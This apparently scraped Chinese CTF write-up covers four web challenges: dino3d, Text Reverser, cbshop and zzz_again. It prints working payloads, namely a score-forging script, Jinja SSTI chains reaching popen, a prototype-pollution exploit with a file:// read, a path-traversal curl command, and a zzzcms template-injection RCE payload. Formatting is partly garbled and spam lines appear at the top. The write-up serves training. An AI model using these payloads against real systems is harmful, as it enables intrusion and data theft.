网站建设技术选择,软文营销的案例,网站建设要懂哪些技术,用什么网站开发巴西客户目录
dino3d
Text Reverser
cbshop
zzz_again dino3d
进来是一个js小游戏 先随便玩一下#xff0c;显示要玩够1000000分 直接console改分数会被检测 先是JSFinder扫一下#xff0c;扫出了check.php 到js里关键词索引搜索check.php 搜索sn#xff0c;发现传入的参数是…目录
dino3d
Text Reverser
cbshop
zzz_again dino3d
进来是一个js小游戏 先随便玩一下显示要玩够1000000分 直接console改分数会被检测 先是JSFinder扫一下扫出了check.php 到js里关键词索引搜索check.php 搜索sn发现传入的参数是score和checkCode 搜索checkCode 搜索salt import requests
from hashlib import md5
import time
target http://node5.buuoj.cn:27231/check.phpheaders {Content-type: application/x-www-form-urlencoded; charsetUTF-8
}body {score: 10000000,checkCode: md5(10000000DASxCBCTF_wElc03e.encode()).hexdigest(),tm: str((time.time()))[:10]
}res requests.post(target, headersheaders, databody)
print(res.text) Text Reverser
先随便测试功能 测出有对SSTI的waf 给一段字符逆向脚本
s 待逆向字符
r s[::-1]
print(r) {% print(7*7)%} {%print .__class__.__bases__[0].__subclasses__()%} 找到os在132索引处 {%print .__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[popen](tail /flag).read()%}cbshop 先随便登录一下 有10元但flag要11元 拿到附件审源码
flag位置在了/flag admin信息 直接放控制台运行 成功以admin登录 现在钱是够够的了 但还是不能直接买flag 回头看源码有这样一段逻辑 需要user.token属性为true
但代码中并没有定义token 可以在buyApi中利用assign打原型链污染 先令user.username为__proto__污染Object.token属性 {name: /flag, id: 2, token: true} 打入污染 再以admin登录去买flag发现还是有限制要绕(就是传入的json数据不能包含flag关键字) 使用URL 实例可以正常读取文件将 flag 进行url编码从而绕过
import requests
session requests.Session()url http://d6b2d3d7-8768-4eac-9cbb-f2f2be45b4ff.node5.buuoj.cn:81/ # 题目urldef login():data {username: admin,password: \uDE00admi}session.post(url login, json data)def changeUsername():data { username: __proto__ }session.post(url changeUsername, json data)def buyFlag():data {name:{href: file:///fl%61g,origin: null,protocol: file:,username: ,password: ,host: ,hostname: ,port: ,pathname: /fl%61g,search: ,searchParams: URLSearchParams {},hash: },id:2,token:True}res session.post(url buy, json data)return res.textif __name__ __main__:login()changeUsername()flag buyFlag()print(flag) zzz_again XCTF高校挑战赛与zzzcms 2.1.4最新版前台RCE | Matrix
经过验证可以进行一个任意文件的读但不知道flag路径走不下去 curl -d template../../../../../../../../etc/passwd -X POST http://node5.buuoj.cn:29834/search/ 再去搜RCE的洞
Vuls/zzzcms/zzzphp V2.1.0 RCE/zzzphp V2.1.0 RCE.md at main · metaStor/Vuls · GitHub
直接照着打也打不通高版本模板注入RCE入口的location估计不能是search了 进入解析模板 解析location 当locationlist时跟进parserList 最后进到parserListPage 发现其是从url中接参最后做一些简单的拼接并替换掉正在执行的模板文件 一顿逻辑走下来后发现没有waf到此我们就可以成功得到恶意的模板文件 接着再来看parserIfLabel对模板文件是怎么处理的 dangerkey有waf处理 过掉waf后可以往下走到eval拼接命令执行 最终payload:
/?locationlistaaa{if:strtolower(SYSTEM)(cat /f111l00g)}{end if}aaa111